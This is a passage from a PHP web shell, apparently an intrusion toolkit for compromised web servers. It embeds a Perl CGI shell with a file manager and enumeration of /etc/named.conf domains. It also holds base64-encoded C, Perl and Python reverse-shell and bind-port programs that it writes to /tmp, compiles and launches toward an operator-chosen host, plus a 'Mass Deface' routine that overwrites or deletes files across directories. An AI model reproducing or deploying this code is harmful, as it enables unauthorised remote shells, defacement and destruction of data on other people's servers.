\$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Open Sans; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\n\tif(-d \$path)\n\t{\n\t\tmy @fname = ();\n\t\tmy @dname = ();\n\t\tif(opendir(DIR,\$path))\n\t\t{\n\t\t\twhile(\$file = readdir(DIR))\n\t\t\t{\n\t\t\t\t\$f=\$path.\$file;\n\t\t\t\tif(-d \$f)\n\t\t\t\t{\n\t\t\t\t\tpush(@dname,\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tpush(@fname,\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir(DIR);\n\t\t}\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\n\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\n\t\t<th style='width:100px;'>File Size</th>\n\t\t<th style='width:150px;'>Owner</th>\n\t\t<th style='width:100px;'>Permission</th>\n\t\t<th style='width:150px;'>Last Modified</th>\n\t\t<th style='width:260px;'>Action</th></tr>\";\n\t\tmy \$style=\"line\";\n\t\tmy \$i=0;\n\t\tforeach my \$d (@dname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$d = &trim(\$d);\n\t\t\t\$dirname=\$d;\n\t\t\tif(\$d eq \"..\") \n\t\t\t{\n\t\t\t\t\$d = &ParentFolder(\$path);\n\t\t\t}\n\t\t\telsif(\$d eq \".\") \n\t\t\t{\n\t\t\t\t\$d = \$path;\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\$d = \$path.\$d;\n\t\t\t}\n\t\t\t\$result .= \"<tr class='\$style'>\n\n\t\t\t<td id='File_\$i' style='font: 11pt Open Sans; font-weight: bold;'><a  href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\n\t\t\t\$result .= \"<td>DIR</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\tforeach my \$f (@fname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$file=\$f;\n\t\t\t\$f = \$path.\$f;\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Open Sans;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\t\$result .= \"</table></div>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Try to View List User\n#------------------------------------------------------------------------------\nsub ViewDomainUser\n{\n\topen (domains, '/etc/named.conf') or \$err=1;\n\tmy @cnzs = <domains>;\n\tclose d0mains;\n\tmy \$style=\"line\";\n\tmy \$result=\"<h5><font style='font: 15pt Open Sans;color: #ffffff;'>Hoang Sa - Truong Sa</font></h5>\";\n\tif (\$err)\n\t{\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\n\t\treturn \$result;\n\t}else\n\t{\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\n\t}\n\tforeach my \$one (@cnzs)\n\t{\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\n\t\t{\t\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\n\t\t}\n\t}\n\t\$result .= '</table>';\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# View Log\n#------------------------------------------------------------------------------\nsub ViewLog\n{\n\tif(\$WinNT)\n\t{\n\t\treturn \"<h2><font style='font: 20pt Open Sans;color: #ffffff;'>Don't run on Windows</font></h2>\";\n\t}\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\n\tmy @pathlog=(\n\t\t\t\t'/usr/local/apache/logs/error_log',\n\t\t\t\t'/var/log/httpd/error_log',\n\t\t\t\t'/usr/local/apache/logs/access_log'\n\t\t\t\t);\n\tmy \$i=0;\n\tmy \$perms;\n\tmy \$sl;\n\tforeach my \$log (@pathlog)\n\t{\n\t\tif(-w \$log)\n\t\t{\n\t\t\t\$perms=\"OK\";\n\t\t}else\n\t\t{\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\n\t\t\tif(&trim(\$ls) eq \"\")\n\t\t\t{\n\t\t\t\tif(-r \$ls)\n\t\t\t\t{\n\t\t\t\t\t\$perms=\"OK\";\n\t\t\t\t\t\$log=\"error_log_\".\$i;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\n\t\t\t}\n\t\t}\n\t\t\$result .=<<END;\n\t\t<tr>\n\n\t\t\t<form action=\"\" method=\"post\">\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\n\t\t\t</form>\n\t\t\t<td>\$perms</td>\n\n\t\t</tr>\nEND\n\t\t\$i++;\n\t}\n\t\$result .=\"</table>\";\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = &trim(\$in{'d'});\n# mac dinh xuat thong tin neu ko co lenh nao!\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\n{\n\t&PerformLogin;\n}elsif(\$Action eq \"gui\") # GUI directory\n{\n\t&PrintPageHeader;\n\tif(!\$WinNT)\n\t{\n\t\t\$chmod=int(\$in{'chmod'});\n\t\tif(!(\$chmod eq 0))\n\t\t{\n\t\t\t\$chmod=int(\$in{'chmod'});\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\n\t\t\tif(&trim(\$result) eq \"\")\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\n\t\t}\n\t}\n\t\$rename=\$in{'rename'};\n\tif(!\$rename eq \"\")\n\t{\n\t\tif(rename(\$TransferFile,\$rename))\n\t\t{\n\t\t\tprint \"<run> Done! </run><br>\";\n\t\t}else\n\t\t{\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t}\n\t}\n\t\$remove=\$in{'remove'};\n\tif(\$remove ne \"\")\n\t{\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\n\t\tif(-d \$rm)\n\t\t{\n\t\t\t&RmDir(\$rm);\n\t\t}else\n\t\t{\n\t\t\tif(unlink(\$rm))\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\tprint &ListDir;\n\n}\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\n{\n\t&PrintPageHeader(\"c\");\n\tprint &ExecuteCommand;\n}\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\n{\n\t&PrintPageHeader;\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\n\t{\n\t\tprint \"<run> Done! </run><br>\";\n\t}else\n\t{\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t}\n\tprint &ListDir;\n}\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\n{\n\t&PrintPageHeader;\n\n\tprint &UploadFile;\n}\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\n{\n\t&PrintPageHeader(\"clientport\");\n\tprint &BackBind;\n}\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\n{\n\t&PrintPageHeader;\n\tprint &BruteForcer;\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\n{\n\tprint &DownloadFile;\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\n{\n\t&PrintPageHeader;\n\tprint &ViewLog;\n\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\n{\n\t&PrintPageHeader;\n\tprint &ViewDomainUser;\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\n{\n\t&PerformLogout;\n}\n&PrintPageFooter;");
        fwrite($htcgi, $isi_htcgi);
        chmod($file_cgi, 0755);
        chmod($memeg, 0755);
        echo "<br><center>Done ... <a href='priv_cgi/cgi.priv' target='_blank'>Click Here</a></div>";
        hardFooter();
    }
    // Mass Deface Section Start
    function actionSql()
    {
        hardHeader();
        echo "<center><h1>Mass Tools</h1><div class=content><br>";
        echo "<br><center> <iframe frameBorder=0 src='?mas' width='800' height='450'></iframe></a></div>";
        hardFooter();
    }
    // Mass Deface Section END
    // Back COnnect SEction
    function actionNetwork()
    {
        hardHeader();
        $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
        $pyy = "IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";
        $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpp'>Perl</option><option value='bpc'>C</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='21'> Using: <label><select name='using'><option value='bcpy'>Python</option><option value='bcp'>Perl</option><option value='bcc'>C</option></select></label> <input type=submit value='submit'><br><br><br>\r\n\t</form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $asciifnc7 = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $asciifnc7 .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$asciifnc7}" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $asciifnc7 = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>{$asciifnc7}" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $asciifnc7 = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $asciifnc7 .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$asciifnc7}" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $asciifnc7 = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$asciifnc7}" . ex("ps aux | grep bc.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcpy') {
                cf("/tmp/bc.py", $back_connect_p);
                $asciifnc7 = ex(which("perl") . " /tmp/bc.py " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$asciifnc7}" . ex("ps aux | grep bc.py") . "</pre>";
            }
        }
        echo "</div>";
        hardFooter();
    }
    // Back Connect Section END
    if (isset($_REQUEST['mas'])) {
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @ini_set('output_buffering', 0);
        @ini_set('display_errors', 0);
        echo "<center><form action=\"\" method=\"post\"> ";
        function edit_file($file, $index)
        {
            if (is_writable($file)) {
                clear_fill($file, $index);
                echo "<Span style='color:green;'><strong> [+] Done 100% Successfull </strong></span><br></center>";
            } else {
                echo "<Span style='color:red;'><strong> [-] Failed :( </strong></span><br></center>";
            }
        }
        function hapus_Massal($dir, $namafile)
        {
            if (is_writable($dir)) {
                $dira = scandir($dir);
                foreach ($dira as $dirb) {
                    $dirc = "{$dir}/{$dirb}";
                    $lokasi = $dirc . '/' . $namafile;
                    if ($dirb === '.') {
                        if (file_exists("{$dir}/{$namafile}")) {
                            unlink("{$dir}/{$namafile}");
                        }
                    } elseif ($dirb === '..') {
                        if (file_exists("" . dirname($dir) . "/{$namafile}")) {
                            unlink("" . dirname($dir) . "/{$namafile}");
                        }
                    } else {
                        if (is_dir($dirc)) {
                            if (is_writable($dirc)) {
                                if (file_exists($lokasi)) {
                                    echo "[<font color=red>DELETED</font>] {$lokasi}<br>";
                                    unlink($lokasi);
                                    $idx = hapus_Massal($dirc, $namafile);
                                }
                            }
                        }
                    }
                }
            }
        }
        function clear_fill($file, $index)
        {
            if (file_exists($file)) {
                $handle = fopen($file, 'w');
                fwrite($handle, '');
                fwrite($handle, $index);
                fclose($handle);
            }
        }
        function gass()
        {
            global $dirr, $index;
            chdir($dirr);
            $me = "input.php";
            $files = scandir($dirr);
            $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");
            sort($files);
            $n = 0;
            foreach ($files as $file) {
                if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
                    echo "<center><Span style='color: #8A8A8A;'><strong>{$dirr}/</span>{$file}</strong> ====> ";
                    edit_file($file, $index);
                    flush();
                    $n += 1;
                }
            }
            echo "<br>";
            echo "<center><br><h3>{$n} Files Defaced </h3></center><br> ";
        }
        function ListFiles($dirrall)
        {
            if ($dh = opendir($dirrall)) {
                $files = array();
                $inner_files = array();
                $me = "input.php";
                $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");
                while ($file = readdir($dh)) {
                    if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
                        if (is_dir($dirrall . "/" . $file)) {
                            $inner_files = ListFiles($dirrall . "/" . $file);
                            if (is_array($inner_files)) {
                                $files = array_merge($files, $inner_files);
                            }
                        } else {
                            array_push($files, $dirrall . "/" . $file);
                        }
                    }
                }
                closedir($dh);
                return $files;
            }
        }
        function gass_all()
        {
            global $index;
            $dirrall = $_POST['d_dir'];
            foreach (ListFiles($dirrall) as $key => $file) {
                $file = str_replace('//', "/", $file);
                echo "<center><strong>{$file}</strong> ===>";
                edit_file($file, $index);
                flush();
            }
            $key += 1;
            echo "<center><br><h3>{$key} Files Defaced </h3></center><br>";
        }
        function sabun_Massal($dir, $namafile, $isi_script)
        {
            if (is_writable($dir)) {
                $dira = scandir($dir);
                foreach ($dira as $dirb) {
                    $dirc = "{$dir}/{$dirb}";
                    $lokasi = $dirc . '/' . $namafile;
                    if ($dirb === '.') {
                        file_put_contents($lokasi, $isi_script);
                    } elseif ($dirb === '..') {
                        file_put_contents($lokasi, $isi_script);
                    } else {
                        if (is_dir($dirc)) {
                            if (is_writable($dirc)) {
                                echo "<font color=red>[ DONE ] </font><font color=white> {$lokasi}</font><br>";
                                file_put_contents($lokasi, $isi_script);
                                $idx = sabun_Massal($dirc, $namafile, $isi_script);
                            }
                        }
                    }
                }
            }
        }
        if ($_POST['Mass'] == 'onedir') {
            echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\r\n";
            $ini = "http://";
            $mainpath = $_POST[d_dir];
            $file = $_POST[d_file];
            $dir = opendir("{$mainpath}");
            $code = base64_encode($_POST[script]);
            $indx = base64_decode($code);
            while ($row = readdir($dir)) {
                $start = @fopen("{$row}/{$file}", "w+");
                $finish = @fwrite($start, $indx);
                if ($finish) {
                    echo "{$ini}{$row}/{$file}\r\n";
                }
            }
            echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";
            $mainpath = $_POST[d_dir];
            $file = $_POST[d_file];
            $dir = opendir("{$mainpath}");
            $code = base64_encode($_POST[script]);
            $indx = base64_decode($code);
            while ($row = readdir($dir)) {
                $start = @fopen("{$row}/{$file}", "w+");
                $finish = @fwrite($start, $indx);
                if ($finish) {
                    echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';
                }
            }
        } elseif ($_POST['Mass'] == 'sabunkabeh') {
            gass();
        } elseif ($_POST['Mass'] == 'hapusMassal') {
            hapus_Massal($_POST['d_dir'], $_POST['d_file']);
        } elseif ($_POST['Mass'] == 'sabunmematikan') {
            gass_all();
        } elseif ($_POST['Mass'] == 'Massdeface') {
            echo "<div style='margin: 5px auto; padding: 5px'>";
            sabun_Massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
            echo "</div>";
        } else {
            echo "\t<style>\r\n\tinput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n</style><font face='Open Sans' color='#ffb101' size='3' >Select Type:</font><br><select class=\"select\" name=\"Mass\"  style=\"width: 300px;  height=\"10\" ><option value=\"onedir\">Mass Deface 1 Dir</option>\t<option value=\"Massdeface\">Mass Deface ALL Dir</option><option value=\"sabunkabeh\">Current Dir All Files</option>\t<option value=\"sabunmematikan\">Replace Everything With Deface</option><option value=\"hapusMassal\">Mass Delete Files</option></select><br><font face='Open Sans' color='#ffb101' size='3' >Folder:</font><br><input name='d_dir' value='" . getcwd() . "' required='' type='text' style='width: 300px;  height='10'><br><font face='Open Sans' color='#ffb101' size='3' >Filename:</font><br><input type='text' name='d_file' value='index.html' style='width: 300px;  height='10'><br><font face='Open Sans' color='#ffb101'  size='3' >index File:</font><br>\r\n\r\n\t<textarea name='script' style='width: 650px; height: 200px;'></textarea><br>\r\n\r\n\t<input type='submit' name='start' value='Mass Deface'></form></div>";
        }
        die;
    }
    if (isset($_REQUEST['user'])) {
